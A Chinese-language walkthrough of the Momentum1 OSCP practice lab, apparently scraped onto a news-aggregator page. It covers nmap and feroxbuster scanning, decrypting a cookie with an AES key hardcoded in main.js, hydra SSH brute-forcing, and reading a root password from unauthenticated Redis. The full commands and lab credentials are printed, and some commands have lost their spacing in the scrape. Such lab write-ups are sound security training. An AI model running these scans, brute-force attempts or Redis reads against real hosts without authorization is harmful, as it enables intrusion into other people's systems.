当前位置: 首页 > news >正文

Momentum1

Momentum1 WriteUp | OSCP 本地靶场实战复盘

1 环境说明

  • 靶机名称:Momentum1
  • 靶机 IP192.168.217.174
  • 攻击机:Kali Linux
  • 靶场类型:OSCP 本地模拟靶场
  • 核心技能点:AES 解密、Cookie 分析、SSH 爆破、Redis 未授权访问

2 信息收集

2.1 端口扫描

首先对靶机进行端口扫描,发现仅开放22(SSH)和80(HTTP)两个端口。

# TCP 端口扫描 + 服务版本探测sudonmap -p22,80-sT-sC-sV192.168.217.174 --min-rate=3000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-24 22:29 +0800 Nmap scan report for 192.168.217.174 Host is up (0.00078s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA) | 256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA) |_ 256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Momentum | Index MAC Address: 00:0C:29:53:7C:BA (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

接着使用 Nmap 漏洞脚本做初步探测:

# 漏洞脚本扫描sudonmap -p22,80--script=vuln192.168.217.174 --min-rate=3000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: | /css/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' | /img/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' |_ /manual/: Potentially interesting folder

最后补充 UDP 端口扫描,未发现额外开放端口:

# UDP 全端口扫描sudonmap-sU-p- --min-rate=4000192.168.217.174

2.2 目录扫描

使用 Feroxbuster 进行目录爆破,重点关注可读目录和静态资源路径:

# 多扩展名目录扫描feroxbuster-uhttp://192.168.217.174/\-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\--limit-bars4--no-state --filter-status404\-xphp,html,txt,pdf,zip,enc,bak-r-d2--insecure

扫描结果显示/js//css//img/三个静态目录均可直接列出,其中/js/main.js引起了我的注意。

2.3 JS 代码审计

访问http://192.168.217.174/js/main.js,发现代码中存在 AES 加解密逻辑和硬编码密钥——这是整条攻击链的突破口。

踩坑记录:一开始我并没有把 Cookie 中的值和 AES 解密关联起来,花了大量时间在其他方向上摸索。后来才意识到 Cookie 本身就是 Base64 编码后的 AES 密文,思路一转就豁然开朗了。

访问首页时,注意到浏览器 Cookie 中存储了一段 Base64 编码的字符串:

利用在线 AES 解密工具(CryptoJS AES Encrypt/Decrypt),结合main.js中提取的 AES 密钥,成功解密 Cookie,获得明文密码auxerre-alienum##

2.4 生成密码字典

拿到关键密码后,使用cewl从靶机网站爬取词频,再结合已知密码手工制作一份高质量密码字典:

# 爬取网站关键词生成密码字典cewl http://192.168.217.174/-d10-v

cewl的输出与已知密码auxerre-alienum##合并,并补充大小写变体,最终password.txt内容如下:

# 手工整理的密码字典 auxerre-alienum## auxerre alienum Auxerre Alienum lightbox container hidden Momentum Index Castles fall from inside
# 用户名字典以 cewl 关键词 + 常见组合生成catuser.txt

┌──(cat7㉿kali-cat7)-[~/Desktop/Oscp/Momentum]└─$catuser.txt lightbox container hidden with CSS prev next Momentum Index Castles fall from inside auxerre-alienum##auxerre alienum Auxerre Alienum

3 漏洞探测与利用

3.1 SSH 暴力破解

利用上一阶段生成的user.txtpassword.txt,使用hydra对 SSH 服务进行爆破:

# SSH 字典爆破hydra-Luser.txt-Ppassword.txt192.168.217.174ssh-vv

成功命中凭据auxerre:auxerre-alienum##,获得靶机初始立足点。


4 权限提升

4.1 内部服务发现

SSH 登录后,首先查看本地监听端口:

auxerre@Momentum:~$ ss-tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:6379 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 [::1]:6379 [::]:* tcp LISTEN 0 128 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:*

发现127.0.0.1:6379上有 Redis 服务运行,仅监听本地回环地址。

4.2 Redis 未授权访问

尝试直接连接 Redis,发现无需密码认证即可登录

auxerre@Momentum:~$ redis-cli127.0.0.1:6379>keys *1)"rootpass"127.0.0.1:6379>GET rootpass"m0mentum-al1enum##"127.0.0.1:6379>exit

Redis 中仅有一个键rootpass,值为m0mentum-al1enum##——这极有可能是root账户的密码。

4.3 提权至 Root

切换到root用户:

auxerre@Momentum:~$suroot Password: m0mentum-al1enum##root@Momentum:/home/auxerre# cd /rootroot@Momentum:~# lsroot.txt root@Momentum:~# cat root.txt[Momentum - Rooted]--------------------------------------- Flag:658ff660fdac0b079ea78238e5996e40 --------------------------------------- by alienum with ♥ root@Momentum:~#

成功拿到 root flag,完成提权。

5 总结

这次打靶的核心突破口在前端 JS 硬编码 AES 密钥,Cookie 中的 Base64 字符串本质上就是用该密钥加密的密文。一开始我在这条线索上绕了很久,没把 Cookie 和 AES 关联起来,直到回头认真审查main.js的代码逻辑才豁然开朗。整个链条非常清晰:/js/目录泄露 → 前端源码暴露 AES 密钥 → Cookie 解密拿到密码 → SSH 爆破获得初始立足点 → Redis 未授权读取root密码 → 提权完成。

http://www.jsqmd.com/news/1078301/

相关文章:

  • Electron 跨平台移植实战:从 Windows 到 macOS 的适配与 DMG 打包全记录
  • 千问新用户专属878554 无门槛8元通用立减券领取到了!
  • 指标管理的最高境界:让 AI 帮你发现和定义指标
  • (毕业必看)亲测靠谱的一键生成论文工具,毕业党收藏备用
  • 大语言模型推理加速:SPEQ位共享量化技术解析
  • WorkBuddy 上手实战:打造一个可用的本地 AI 工作台
  • 2026深度实测|TRAE与Cursor中文vibe coding迭代能力全对比
  • 工业级机器学习加速实践:从数据到API的72分钟落地指南
  • 8月秋招投递前,应届生AI作品集怎么做才能让简历更具体?
  • Java Web应用安全审计实战:从漏洞挖掘到权限提升的完整攻防路径
  • Vue 2 vs Vue 3:核心特性与差异全解析
  • 2026论文写作工具红黑榜:AI论文写作工具怎么选?看完少走弯路
  • i.MX Graphics SDK跨平台图形开发:从环境配置到项目构建全解析
  • LLM提示安全实战:Prompt注入防御与企业级RAG脱敏方案
  • Python编程资源合集
  • DRAM、NAND Flash、HBM 未来发展前景
  • 痛点还原:手动推导
  • UE5.6 GAS学习笔记(2)-->GA篇 [1.触发流程]
  • RPA引擎源码解析:Python状态机与规则引擎设计
  • 动图魔方技术拆解 09:FrameProcessor 如何统一裁剪、滤镜、字幕和输出参数
  • 遗传算法第二部分:选择压力、交叉算子与自适应变异机制解析
  • 容器云入门学习心得:基于 Docker 实现 Web 应用容器化部署实践
  • Appium跨界Windows桌面自动化测试:统一技术栈实战指南
  • 5分钟搞定FanControl中文设置:Windows风扇控制彻底汉化指南
  • 【2026免费喝奶茶攻略】【领千问8元无门槛券】
  • software framwork 2026.06.25
  • Qwen-VL-2512+Gradio三分钟搭建AI海报工坊
  • 2026深度实测|Cursor高性价比平替实测!中文Vibe Coding迭代能力全对比
  • 空间计算驱动的企业GEO实践:佛山园区与中山制造案例的技术路径分析
  • 01_visual_studio环境配置及C++基本概念入门